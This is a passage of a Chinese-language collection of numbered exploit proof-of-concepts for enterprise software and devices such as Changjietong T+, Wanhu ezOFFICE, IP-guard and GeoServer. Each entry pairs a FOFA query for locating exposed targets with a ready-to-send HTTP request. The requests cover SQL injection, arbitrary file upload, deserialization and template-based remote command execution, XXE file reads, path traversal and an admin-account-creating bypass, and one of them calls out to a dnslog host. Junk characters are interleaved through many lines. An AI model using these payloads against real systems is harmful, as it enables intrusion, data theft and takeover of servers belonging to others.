$ X" E+ M* N2 ~1 Y; q+ M. vAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
1 q3 }. Y" C0 sContent-Disposition: form-data; name="upload"
. C. d0 k  v- f6 }upload
. @3 \5 j% s( M( P$ ?$ S/ |) l* Y------269520967239406871642430066855--
5 ?, h' O( ?: k% ^7 k
/ g0 [3 T' z9 S; r, A4 p# P" O
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
/ ?3 a# L4 @; Y- `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
" E2 [$ q/ o3 o. S( n6 D: S* zContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 r+ r" J" U$ W+ fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 r5 ?2 u% u9 [% W. zConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
0 v3 V# B0 J+ m# P. w) B
wersqqmlumloqa
' j7 p# y. t4 `& w/ `, v3 F3 D-----------------------------vvv3wdayqv3yppdxvn3w
2 }% P* w0 H$ {0 l, z/ `Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--

) d( W) @8 \/ q$ {! ~$ W
http://x.x.x.x/tmpfile/updB3CB.tmp.php

/ J7 T" Z' G% H# x- S50. QDocs Smart School 6.4.1 filterRecords SQL注入
( m& o% R; e: a( N4 kFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
  s4 U0 `# D0 _% M8 F5 MAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
9 ^: o/ Q/ _! |5 }: F+ F* EAccept-Encoding: gzip

* d5 U/ T+ ^, k& J9 nsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

5 H. B  K6 a7 h7 @
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
/ ^, d8 R6 u3 r, c" X2 V. u( lFOFA：app="云时空社会化商业ERP系统"
+ {: P5 p* J$ |* U& B2 ]' PGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
" n7 j3 O- ^' N3 Y0 e4 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 B* n7 Y9 A0 U: w8 VConnection: close
( _3 O2 Y# J) I$ a% b) N. ~
- z" z: G3 ]  |
) O& j, P0 G7 l8 V2 O52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
  H) s9 S7 L3 |2 L; t/ q8 ?Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" ~- S( @- _8 T0 n# ]- m6 x+ hConnection: close
Content-Length: 87
- F& o& W1 {# kAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
3 C; q" {7 T6 }3 y4 G3 ~- Y
7 B# f( J3 _3 |" f) N& |2 W* k
53. 迪普 DPTech VPN Service 任意文件上传
; q8 ]1 Q4 e; W% [: |* RFOFA：app="DPtech-SSLVPN"
; L: ?8 ^" b( L# Z/ s/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

4 l! K; z! A! y
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
7 B& f! V: d& S* J! hFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
: o! _/ t# y& z/ a' ~1 @/ @8 }

完整数据包
3 t$ k% V: F3 u  TPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
9 [4 s  `7 t& I, gUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
" Y3 i# B$ l9 _& oContent-Length: 593
; F. y- A# n4 Z% y: s0 W& `
{
"storeID":{
, X8 d  A: g/ M( b4 G( M+ D "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
" L+ I1 O* M3 j; y& ~ "MethodName":"Start",
2 h2 s# c& }- c# J( C3 J6 r  "ObjectInstance":{
# E. \0 t% g5 G2 y0 O( P   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
9 d0 s$ f' V. k8 a# ], @6 J    "FileName":"cmd",
" d; B5 F- X+ N1 m    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
( X7 p8 i5 b' W    }
  }
  }
}

- p* n. [$ n! Z7 ]" a: C2 ]
$ ~8 m" H/ a8 e4 I5 f) t9 [第二步，访问如下url
! N. c4 {( ]5 K* w6 u% k/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
( `" p/ E4 y# J& J7 Y9 N! o" F$ r
% D) \/ }, N' w" N2 Z1 S
, @2 {5 l& w( Q+ X1 K! C1 n55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
* J: A& r- ~4 u; v) c9 K第一步，通过
6 ~, r: N$ _& D- z9 v- K/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
8 W1 ]# M3 u! j, l" p. I) G) D/ t第二步，利用获取到的Cookie请求
2 D# h4 j9 r- [, Y% R- V$ u/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
$ ^/ _! s$ Q6 Z4 u* _7 X& m
# h. Q# Z9 G) e& u# z  u$ g4 x56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
( j# z; z! I4 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

/ n+ y7 P+ l" P3 p& d{
  "storeID":{
/ ^( w- _) v/ q% p    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
4 h8 b0 M3 l% d+ x       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
& {. d' @1 L7 [        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( `( l' l8 m9 N% M           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
! J$ j$ ?5 b0 n, T) Z" e+ W    }
  }
}
, v  D0 f" V8 ]& }% o1 h* x
7 K/ d1 R; q- L( K) a7 E; `+ e
8 t6 ?! {5 M' [+ w57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
7 N9 D1 {) b; R, M: w4 FGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
6 K) b$ t  @4 ^6 S" U7 p/ CHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! J# h& P# |/ r3 ?! a* {7 RAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
# z1 t' V* |) @0 vConnection: close

% _; M9 W$ z/ v3 z; k& ~
3 d6 f# t& j5 I8 U! X% v- ^( G( r9 N58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
! [# b5 U$ N( l4 q) @( ?; xGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
  F! j4 J# i+ A# I# Q' A/ nUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
1 o! Z2 D- n* R$ NAccept-Charset: utf-8
4 O8 a2 E1 J# v- a2 j0 yAccept-Encoding: gzip, deflate
Connection: close

1 W! U8 w, _3 q# i. H+ d
* [2 [7 }* t2 _: x2 z: m5 @& d59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
6 o! E+ B3 I3 K8 O, d+ iPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
- r7 d2 Z) e0 s- f, [( I1 {Content-Length: 1669
4 u2 |) U/ f7 R6 _2 {& ?; n# e7 oAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
1 o/ h% A. B  W7 ^7 @% q6 [Accept-Encoding: gzip
, r( {) m$ W  k- w" Z1 @
PAYLOAD

. ^& x  ^$ R- z% C& N
5 J0 D9 q+ v& J; E) h" _60. 百卓Smart管理平台 importexport.php SQL注入
! U  D* ]) H6 u. O5 ZFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ Q2 P+ ^# h2 [* a6 I1 `  zAccept-Language: zh-CN,zh;q=0.9
$ v' g5 S0 y9 b6 W, N7 ]0 VConnection: close
6 W( A+ ~8 |$ n$ b& i- b) H5 Q: p
( N# I' }- k9 H; A
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
/ _* [4 w, s, C+ g+ ^POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
" b0 U5 z# {! a- f- A# RHost: x.x.x.x
  V: v4 ~) g0 C+ g" o' f" aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
" B7 Q  w9 r" C% S$ P/ KAccept-Language: en
Content-Type: application/x-www-form-urlencoded
9 ^9 U: Z; w( @: @: Z  s
# n& X1 N' Q8 w1 `, Q# {( C: ^8uxssX66eqrqtKObcVa0kid98xa


% t" q+ E( [; r  _; J62. IP-guard WebServer 远程命令执行
! C& C9 |1 h1 C* uFOFA："IP-guard" && icon_hash="2030860561"
! d( p# _* i2 H- G! r' l" `& {GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
) _2 B9 u/ Z# }7 SHost: x.x.x.x
2 p& r- |0 o: |% T4 tUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
0 Y5 g# j2 z5 h  D4 `% i3 OConnection: close
6 h8 e4 \, U1 {* ~0 h- k3 WAccept: */*
Accept-Language: en
) Z; c9 {8 W4 Z8 B1 m2 J; M- sAccept-Encoding: gzip
1 P6 ?1 s( r; P, x% W

访问
% @5 G. e( e- D) ?  V, Y
- [1 r' ?+ o3 I" @: l( V+ ]/ [* Z$ [9 bGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
4 s* n) s  N' W% w) x6 B
1 Z$ `5 B5 Q3 Z+ k
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
( Q3 H4 R* H* @. E, g% P- W3 x2 \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
& {' d4 Z+ ~' J$ ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ [1 N  \- h0 B7 W" yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% `' g* e3 V3 X; s6 t6 r, eConnection: close
Content-Type: application/x-www-form-urlencoded
, M' R# |- Y$ @5 Q
0 w  z7 f4 R& M9 @" d1 A+ T5 ypath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
2 J" T* _* Y8 \. U1 x
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
$ M0 Y1 y/ u5 [+ v7 Y7 S+ EHost: 192.168.86.128:9001
9 E: x2 S5 s! |  U/ DUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
0 D- {9 k. l2 t1 a% ]Connection: close
Content-Length: 369
Accept: */*
# s5 K4 A+ g/ ]2 z- ]: t. LAccept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
% i/ V' F# b- S2 N( X  b$ ?# X<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
) {: C9 }5 A! d! l1 r      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
  }2 H3 K3 _& u1 \* Z/ _( Z</soap:Envelope>
1 H, k2 a) g$ p# {6 L

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
0 O% `% i0 j  d& K# X: ^3 fFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
$ n' j0 D, Z3 Q# h8 l2 F# p& `响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
8 f. l4 s/ y. F, o) a# mUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
/ x9 L4 o8 L( t1 z# i; y! o; fAccept-Encoding: gzip, deflate
Accept: */*
/ n, g+ q5 r1 t- l$ sConnection: close
- i4 i1 [  U3 k, Z2 A0 V1 GAccept-Language: en
2 _7 V0 Y: g8 J2 d: X- KContent-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

  M8 V" D$ c, F2 X7 ^# ~
; l: N6 E+ p- [, B4 L# W% s, H- j4 m66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
: s- w. A6 q' P7 y: Z4 \
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
$ b- b0 ^/ |* U; DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
# R. r* m, J# }, TAccept: */*
Accept-Language: en
Accept-Encoding: gzip

( `' G& L2 W" |% y* N8 g
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
& t  g  ~9 ^6 n# x' ^# YFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
' R8 E9 v' M4 b# D2 t4 fPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
% C6 y7 O( T, j# j/ |; {Host: x.x.x.x
- R& a5 }5 R: Y( s' l- XUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
% n7 i' C9 g5 SContent-Length: 173
/ Y! B1 V  B) Y" y$ d' I1 b9 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
; Q& c0 h6 ?5 n+ }1 V# c" Z4 yConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
6 }9 C& M, J. R3 }) E: g3 a) ]Upgrade-Insecure-Requests: 1
" [* ]5 |5 n. |
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
5 M) i$ A3 {4 i* t
# _% A% u0 z  I" ?8 q1 u0 n
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

. p7 p( W2 A  ^& f) X: Z. p- b& E68. 万户ezOFFICE wf_printnum.jsp SQL注入
, P7 V$ Q8 P. `* q: dFOFA：app="万户ezOFFICE协同管理平台"
3 J1 {. B7 V2 R9 \- U3 PGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
  z+ [/ ^: P! Z! bHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
& v! k( g4 v5 d5 e2 X( FAccept-Language: zh-CN,zh;q=0.9
Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
( r5 ~  j3 ^! P: Z' Q+ {; T& }GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
) ~, b& A( w) K  p' f" n2 i, oHost: your-ip
1 U6 G2 R, Y+ eUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
- a% o4 i2 c$ O$ c: r1 G, Z* Y. QAccept-Encoding: gzip, deflate
4 f6 m. N3 m8 T% d7 ?* {Accept: */*
Connection: keep-alive


; m$ _, q9 Y2 ]3 `9 P7 h+ V70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
, k( @" A+ ]# E: sPOST /member/success.aspx HTTP/1.1
8 H5 W: H: v/ a/ E* d) nHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
# ?4 J) V4 [! \Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
& K) X$ n# V6 oFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
9 \4 I+ ^' u  y  B( z& z0 D- hHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
+ K7 p1 B, x4 x- a& ZConnection: close
6 D7 {" q, y% [; [1 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
3 L$ Y. |3 m( w: N% zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 [% r1 {9 Q/ d' m- G( G' yUpgrade-Insecure-Requests: 1

# l! ^. Q, j0 c3 ^0 C
6 d5 P1 `% I9 P72. 致远OA getAjaxDataServlet XXE
# q+ E, r2 [8 `( {FOFA：app="致远互联-OA"
/ z* \" g0 f; y6 k9 M5 X+ fPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
5 c# {" f8 K% r9 Z. vHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
' {' }) _) C, [Content-Length: 583
Content-Type: application/x-www-form-urlencoded
  |! N4 |/ b; c; q& GAccept-Encoding: gzip

. d: j) G9 l% X8 bS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
8 T7 F1 u% s$ x. |! |! r, E# XAccept-Encoding: gzip, deflate
: d8 Q$ f/ v  c0 e- B  fConnection: close
$ D, ^0 u; S3 [6 b$ T+ R) U' K( W6 aContent-Type: application/xml
SL-CE-SUID: 3
. C0 p+ u1 w) w' m5 t9 k
" d  E# j4 b3 r- j$ ^PAYLOAD
! m( h) ^# ]! ^( y9 f2 ^; U: i
6 O4 q# F( Y" S& [9 p
74. 致远M3-server 6_1sp1 反序列化RCE
. B2 d! N1 P% u4 j2 k4 pFOFA：title="M3-Server"
PAYLOAD
- I3 m* @6 V( i- K+ r
: V/ ^: @( m$ t9 D/ R75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
7 k: H  {( C3 t% YGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
3 B( S/ n* ]6 B3 e) fHost: x.x.x.x
7 W& `0 E5 \# YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 I7 I- `5 Z0 q3 e( j6 g5 MConnection: close
Accept: */*
7 d- F7 F8 v/ f8 Y) @( fAccept-Language: en
Accept-Encoding: gzip

. D& Q- A' M- f% i" B# x& a6 I
GET /cgi-bin/test28256.txt HTTP/1.1
1 r6 X3 y8 X1 ~: F9 N# l7 jHost: x.x.x.x
$ k- J# t% ^8 I1 b  o3 h/ Q
" D2 c, k) i3 O6 A6 e
76. 新开普掌上校园服务管理平台service.action远程命令执行
* `4 H7 V* e" T( q0 x( G: g, qFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
6 v0 t  [! e1 g4 X2 yContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ f# Y( H' l9 G3 L9 AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
1 J. C' H3 S2 I8 r9 l
/ i8 A; y7 g) w4 h. W8 t{
* r* _+ u* y: z5 a# R, g1 o3 j+ c, R"command": "GetFZinfo",
9 T2 L2 |& [6 m" |; A  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
5 N- F9 z+ e1 N! r1 }2 p}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
: j  i) ~4 l& X9 Q1 s0 m! M' B


- u1 i3 m+ I7 R' F77. F22服装管理软件系统UploadHandler.ashx任意文件上传
1 L4 s6 G5 d# P- o/ Q6 BFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
' l& }' [& O; U, M, `6 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ b3 I5 `  {7 n( k! TConnection: close
Content-Length: 433
1 k0 ]( C9 A' y! W. e' Z" e  ]Accept: */*
2 U6 y1 x; R+ R5 u. D4 z: kAccept-Encoding: gzip, deflate
# R! [' a% f. j% ~/ n' wAccept-Language: zh-CN,zh;q=0.9
" n1 h1 l, z7 \Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
" u: c* B& ]# {% }
------------398jnjVTTlDVXHlE7yYnfwBoix
" J, y: Q7 A5 D! Y  FContent-Disposition: form-data; name="folder"
1 n+ e9 F$ @7 R0 [  L
- L- Y. A4 j' h/ f' e2 R& B( [/upload/udplog
- Z( n( }9 r# q8 c------------398jnjVTTlDVXHlE7yYnfwBoix
$ I5 M( j% u! ?% v/ L, H+ P% Y8 j  pContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
4 `5 v0 l' p+ |( m7 [' j* M& RContent-Type: application/octet-stream
  O$ D3 [1 {1 o  E5 x" f" J! F) u
) I5 L, N& _6 ^( j+ y+ w, y, ?hello1234567
